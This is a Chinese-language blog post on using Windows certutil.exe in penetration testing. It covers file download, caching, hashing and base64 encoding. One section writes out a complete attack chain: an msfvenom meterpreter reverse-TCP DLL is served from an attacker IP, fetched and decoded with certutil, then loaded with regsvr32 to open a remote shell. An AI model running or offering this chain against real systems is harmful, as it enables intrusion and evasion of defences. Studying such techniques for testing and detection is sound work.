certutil简介

用于证书管理
支持xp-win10
更多操作说明见https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

渗透测试中的应用

保存在当前路径，文件名称同URL

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

保存在当前路径，指定保存文件名称

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt

保存在缓存目录，名称随机

缓存目录位置： %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Contentcertutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

支持保存二进制文件

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

注：使用downloader默认在缓存目录位置：

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本

清除下载文件副本

直接删除缓存目录对应文件
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
查看缓存项目：certutil.exe -urlcache *

简单测试

计算文件hash
```
certutil.exe -hashfile msg.dll
```
SHA256：
```
certutil.exe -hashfile msg.dll SHA256
```
MD5：
```
certutil.exe -hashfile msg.dll MD5
```
base64编码
```
CertUtil -encode InFile OutFile
```
base64解码
```
CertUtil -decode InFile OutFile
```
注：编码后的文件会添加两处标识信息：

文件头：

-----BEGIN CERTIFICATE-----

文件尾：

-----END CERTIFICATE-----

msfconsole上线

生成payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.137 lport=4444 -f dll > dll.txt
python -m SimpleHTTPServer 8080

执行下载命令

certutil -urlcache -split -f http://192.168.159.137:8080/dll.txt dll.txt | certutil -encode dll.txt edll.txt
Certutil -decode .\edll.txt  exploit.dll
regsvr32 /s /u .\exploit.dll

添加信任上线

引用

三号学生师傅文章：https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84certutil.exe/
二向箔安全学院
https://zhuanlan.zhihu.com/p/107819644

渗透测试中的certutil相关推荐

监控渗透测试中Certutil利用行为
简介 Certutil.exe是作为证书服务的一部分安装的命令行程序. 我们可以使用此工具在目标计算机上执行恶意EXE文件,并获取meterpreter会话. 补充说明:在高版本操作系统中,可以通过配 ...
如何在渗透测试中尽可能隐藏自己-proxychains4使用配置教程
在渗透测试中,往往需要对自身电脑ip进行网络上的隐藏,如何才能快速简单的在网络扫描中简单实现匿名扫描呢? Proxychains帮助我们完成这一操作那么 ,proxychains是什么? GNU协议 ...
渗透测试中信息收集的那些事
渗透测试中信息收集的那些事转载自:TideSec(知名安全团队)--VllTomFord(大佬)------https://www.cnblogs.com/OpenCyberSec/p/107941 ...
详述MySQL服务在渗透测试中的利用
本文作者:i春秋签约作家--Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...
渗透测试中常用端口及利用
渗透测试中常用端口及利用端口服务入侵方式 21 ftp/tftp/vsftpd文件传输协议爆破/嗅探/溢出/后门 22 ssh远程连接爆破/openssh漏洞 23 Telnet远程连接爆 ...
【3】web安全入门篇-渗透测试中常用的命令
1.linux命令渗透测试中常用的linux命令上面博客提到的基本都能满足需求 2.cmd命令常用的cmd命令 cmd命令和linux命令常用的对于web入门的萌新可以看看上面博客,多敲一敲用的 ...
浅析DNSlog在渗透测试中的实战技巧
文章目录前言 SSRF 盲打 XSS的盲打 XXE的盲打 SQL的盲注 RCE的盲打总结前言在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把 ...
渗透测试中的端口利用
渗透测试中的端口利用我们在进行渗透测试中,一般情况下会对端口进行扫描,看看服务器中开启了哪些端口,对应的端口一般存在对应的服务,而这些服务可能存在相应的漏洞,下面就是简单结束一下端口对应服务,服务可 ...
【python渗透测试】python在渗透测试中的利用（完全版，持续中出）
跟着gpt学习python在渗透测试中的利用

渗透测试中的certutil

certutil简介

渗透测试中的应用

简单测试

msfconsole上线

引用

渗透测试中的certutil相关推荐

最新文章

热门文章